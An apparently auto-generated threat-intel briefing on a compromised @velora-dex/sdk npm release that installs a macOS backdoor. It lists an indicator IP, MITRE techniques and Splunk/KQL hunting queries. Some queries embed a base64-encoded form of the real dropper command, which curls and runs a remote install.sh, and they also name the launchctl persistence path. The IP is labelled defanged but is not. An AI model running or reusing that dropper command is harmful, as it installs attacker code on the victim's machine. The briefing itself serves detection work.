# [HIGH] @velora-dex/sdk Compromised on npm: Malicious Version Drops macOS Backdoor via launchctl Persistence

**Source:** StepSecurity
**Published:** 2026-04-09
**Article:** https://www.stepsecurity.io/blog/velora-dex-sdk-compromised-on-npm-malicious-version-drops-macos-backdoor-via-launchctl-persistence

## Threat Profile

Back to Blog Threat Intel @velora-dex/sdk Compromised on npm: Malicious Version Drops macOS Backdoor via launchctl Persistence A registry-only supply chain attack on @velora-dex/sdk delivers an architecture-aware macOS backdoor that fires the moment your code imports the package. No install hooks, no repo commits, no visible output. Varun Sharma View LinkedIn April 7, 2026
Share on X Share on X Share on LinkedIn Share on Facebook Follow our RSS feed 
Table of Contents Loading nav... 
On April 7,…

## Indicators of Compromise (high-fidelity only)

- **IPv4 (defanged):** `89.36.224.5`

## MITRE ATT&CK Techniques

- **T1071.001** — Web Protocols
- **T1071.004** — DNS
- **T1071** — Application Layer Protocol
- **T1195.002** — Compromise Software Supply Chain
- **T1204.002** — User Execution: Malicious File
- **T1071.001** — Application Layer Protocol: Web Protocols
- **T1105** — Ingress Tool Transfer
- **T1059.004** — Command and Scripting Interpreter: Unix Shell
- **T1140** — Deobfuscate/Decode Files or Information
- **T1543.004** — Create or Modify System Process: Launch Daemon
- **T1036.005** — Masquerading: Match Legitimate Name or Location

## Kill chain phases observed

_(none detected from narrative keywords)_

## Recommended hunts

### Outbound connection to Velora DEX npm supply-chain C2 89.36.224.5

`UC_399_4` · phase: **c2** · confidence: **High** · AI-generated for this article

**Splunk SPL (CIM):**
```spl
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.src_ip) as src_ip values(All_Traffic.dest_port) as dest_port values(All_Traffic.app) as app from datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_ip="89.36.224.5" by All_Traffic.dest_ip All_Traffic.src All_Traffic.user host | `drop_dm_object_name(All_Traffic)` | eval ioc_url="http://89.36.224.5/troubleshoot/mac/install.sh", campaign="velora-dex-sdk-9.4.1" | convert ctime(firstTime) ctime(lastTime)
```

**Defender KQL:**
```kql
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteIP == "89.36.224.5"
   or RemoteUrl has_any ("89.36.224.5/troubleshoot/mac/install.sh","89.36.224.5/mac/arm/driver/profiler","89.36.224.5/mac/intel/driver/profiler")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine,
          InitiatingProcessParentFileName, RemoteIP, RemotePort, RemoteUrl,
          InitiatingProcessAccountName
| order by Timestamp desc
```

### node process spawning bash/curl chain to fetch Velora DEX install.sh dropper

`UC_399_5` · phase: **delivery** · confidence: **High** · AI-generated for this article

**Splunk SPL (CIM):**
```spl
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process) as parent values(Processes.user) as user from datamodel=Endpoint.Processes where (Processes.parent_process_name="node" OR Processes.parent_process="*node*") (Processes.process="*bm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYx*" OR Processes.process="*89.36.224.5/troubleshoot/mac/install.sh*" OR Processes.process="*base64 --decode*" OR Processes.process="*base64 -D*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name | `drop_dm_object_name(Processes)` | convert ctime(firstTime) ctime(lastTime)
```

**Defender KQL:**
```kql
DeviceProcessEvents
| where Timestamp > ago(30d)
| where InitiatingProcessFileName in~ ("node","node.exe")
   or InitiatingProcessParentFileName in~ ("node","node.exe")
| where ProcessCommandLine has_any (
    "89.36.224.5/troubleshoot/mac/install.sh",
    "bm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYx")
   or (FileName in~ ("bash","sh","zsh") and ProcessCommandLine has "base64" and ProcessCommandLine has "bash")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine,
          FileName, ProcessCommandLine, AccountName, InitiatingProcessAccountName
| order by Timestamp desc
```

### launchctl persistence registering zsh.profiler service from non-admin location

`UC_399_6` · phase: **install** · confidence: **High** · AI-generated for this article

**Splunk SPL (CIM):**
```spl
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.user) as user from datamodel=Endpoint.Processes where Processes.process_name="launchctl" (Processes.process="*submit*-l*zsh.profiler*" OR Processes.process="*com.apple.Terminal/profiler*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name | `drop_dm_object_name(Processes)` | convert ctime(firstTime) ctime(lastTime)
```

**Defender KQL:**
```kql
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "launchctl"
| where ProcessCommandLine has "submit"
| where ProcessCommandLine has_any ("zsh.profiler","com.apple.Terminal/profiler","Library/Application Support/com.apple.Terminal/profiler")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName,
          InitiatingProcessCommandLine, ProcessCommandLine
| order by Timestamp desc
```

### macOS file write of profiler binary to com.apple.Terminal masquerade path

`UC_399_7` · phase: **install** · confidence: **High** · AI-generated for this article

**Splunk SPL (CIM):**
```spl
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_path) as path values(Filesystem.user) as user values(Filesystem.process_name) as process from datamodel=Endpoint.Filesystem where Filesystem.file_path="*/Library/Application Support/com.apple.Terminal/profiler*" by Filesystem.dest Filesystem.file_name Filesystem.process_name | `drop_dm_object_name(Filesystem)` | convert ctime(firstTime) ctime(lastTime)
```

**Defender KQL:**
```kql
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileRenamed","FileModified")
| where FolderPath has "Library/Application Support/com.apple.Terminal"
| where FileName =~ "profiler"
| project Timestamp, DeviceName, ActionType, FolderPath, FileName, SHA256,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          InitiatingProcessParentFileName, InitiatingProcessAccountName
| order by Timestamp desc
```

### Beaconing — periodic outbound to small set of destinations

`UC_BEACONING` · phase: **c2** · confidence: **Medium**

**Splunk SPL (CIM):**
```spl
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
    from datamodel=Network_Traffic.All_Traffic
    where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
    by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
```

**Defender KQL:**
```kql
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
         prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
    by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
```

### Trusted vendor binary / installer launching unusual children

`UC_SUPPLY_CHAIN` · phase: **exploit** · confidence: **Medium**

**Splunk SPL (CIM):**
```spl
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
    from datamodel=Endpoint.Processes
    where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
      AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
    by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
```

**Defender KQL:**
```kql
DeviceProcessEvents
| where Timestamp > ago(7d)
| where AccountName !endswith "$"
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
```

### Article-specific behavioural hunt — @velora-dex/sdk Compromised on npm: Malicious Version Drops macOS Backdoor via l

`UC_399_3` · phase: **exploit** · confidence: **High**

**Splunk SPL (CIM):**
```spl
``` Article-specific bespoke detection — @velora-dex/sdk Compromised on npm: Malicious Version Drops macOS Backdoor via l ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
    from datamodel=Endpoint.Processes
    where (Processes.process_name IN ("sdk.cjs.production.min.js","sdk.esm.js","node.js","install.sh"))
    by Processes.dest, Processes.user, Processes.process_name,
       Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
    from datamodel=Endpoint.Filesystem
    where Filesystem.action IN ("created","modified")
      AND (Filesystem.file_path="*/dev/null*" OR Filesystem.file_path="*/Library/Application*" OR Filesystem.file_name IN ("sdk.cjs.production.min.js","sdk.esm.js","node.js","install.sh"))
    by Filesystem.dest, Filesystem.user, Filesystem.process_name,
       Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
```

**Defender KQL:**
```kql
// Article-specific bespoke detection — @velora-dex/sdk Compromised on npm: Malicious Version Drops macOS Backdoor via l
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("sdk.cjs.production.min.js", "sdk.esm.js", "node.js", "install.sh"))
| project Timestamp, DeviceName, AccountName, FileName,
          FolderPath, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc

// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FolderPath has_any ("/dev/null", "/Library/Application") or FileName in~ ("sdk.cjs.production.min.js", "sdk.esm.js", "node.js", "install.sh"))
| project Timestamp, DeviceName, AccountName, FolderPath,
          FileName, ActionType, InitiatingProcessFileName,
          InitiatingProcessCommandLine
| order by Timestamp desc
```

### IOC-driven hunts (use shared templates)

These are standard IOC-substitution hunts — the canonical SPL and KQL live once in [`_TEMPLATES.md`](../_TEMPLATES.md), so we don't repeat the same boilerplate on every CVE / hash / network-IOC briefing.

- **Network connections to article IPs / domains** ([template](../_TEMPLATES.md#network-ioc)) — phase: **c2**, confidence: **High**
  - IP / domain IOC(s): `89.36.224.5`


## Why this matters

Severity classified as **HIGH** based on: IOCs present, 8 use case(s) fired, 11 technique(s) inferred. Read the full article for actor attribution, tooling details, and any defanged IOCs in the body that aren't visible in the RSS summary.